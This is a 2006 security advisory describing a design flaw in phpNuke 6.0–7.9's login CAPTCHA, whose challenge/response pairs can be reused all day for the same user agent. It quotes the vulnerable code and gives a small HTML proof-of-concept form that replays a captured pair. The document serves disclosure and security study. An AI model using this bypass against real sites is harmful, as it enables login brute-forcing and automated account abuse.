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[waraxe-2006-SA#045] - Bypassing CAPTCHA in phpNuke 6.x-7.9

Author: Janek Vind "waraxe"
Date: 18. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-45.html

Target software description:

phpNuke 6.0 - 7.9

Homepage: http://phpnuke.org/

What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.


So what's the CAPTCHA? From wikipedia: http://en.wikipedia.org/wiki/Captcha

A captcha (an acronym for "completely automated public Turing test to tell computers
and humans apart") is a type of challenge-response test used in computing to determine
whether or not the user is human. The term was coined in 2000 by Luis von Ahn, Manuel
Blum, and Nicholas J. Hopper of Carnegie Mellon University, and John Langford of IBM.
A common type of captcha requires that the user type the letters of a distorted and/or
obscured sequence of letters or digits that appears on the screen.

Phpnuke is using very simple form of CAPTCHA (called "security code"), which will try
to resist against automated actions - login bruteforce, account creation DoS, ect.
As usual, we can use OCR software for "guessing" the security code. In most of the cases
this will succeed, but what is more important - phpNuke's CAPTCHA has very big design flaw.
It appears, that nuke CAPTCHA's challenge and response are reusable as many times as we


Let's look at source ("mainfile.php" line ~ 898):

----------------[ from source code ]------------------

function loginbox() {
global $user, $sitekey, $gfx_chk;

mt_srand ((double)microtime()*1000000);
$maxran = 1000000;
$random_num = mt_rand(0, $maxran);
$datekey = date("F j");
$rcode = hexdec(md5($_SERVER['HTTP_USER_AGENT'] . $sitekey . $random_num . $datekey));
$code = substr($rcode, 2, 6);

----------------[ /from source code ]-----------------

We can see, that challenge is called "$random_num" and response "$code" is constructed
from various parts. And this algrithm means, that some specific challenge will have same
response in following conditions:

1. It must be same day (because of the "$datekey")
2. HTTP_USER_AGENT must be the same

So how to exploit this design weakness. First we need working challenge/response pair
from "victim" server. For this let's look at CAPTHA picture with numbers at login page.
Right mouse click on that picture and (in case of IE) --> properties-->address , and we
can see picture url, something like this:


Let's write down "random_num", this is our challenge number. Now just look at the same picture and
you will see response number, in this case "304380".
So challenge/response pair for this day is 112652/304380.
And then just implement this knowledge in script or whatever else. As example, there is
html code for very simple proof of concept:

[------ real life exploit ------]

<title>phpNuke CAPTHCA bypass POC</title>

<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">

Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>

<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">

<input type="hidden" name="op" value="login">
<input type="submit" value="Login">


[----- /real life exploit ------]

See ya next time and have a nice day ;)

How to fix:

There is no easy way to write bulletproof CAPTCHA for phpnuke. Let's hope, that
8.x branch will bring some better solutions.


Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!

Additional resources:

HDD data recovery - http://www.hdd911.com/

DX expeditions database - http://www.dxdb.com/


Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------

Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2006-02-18 (21805 reads)

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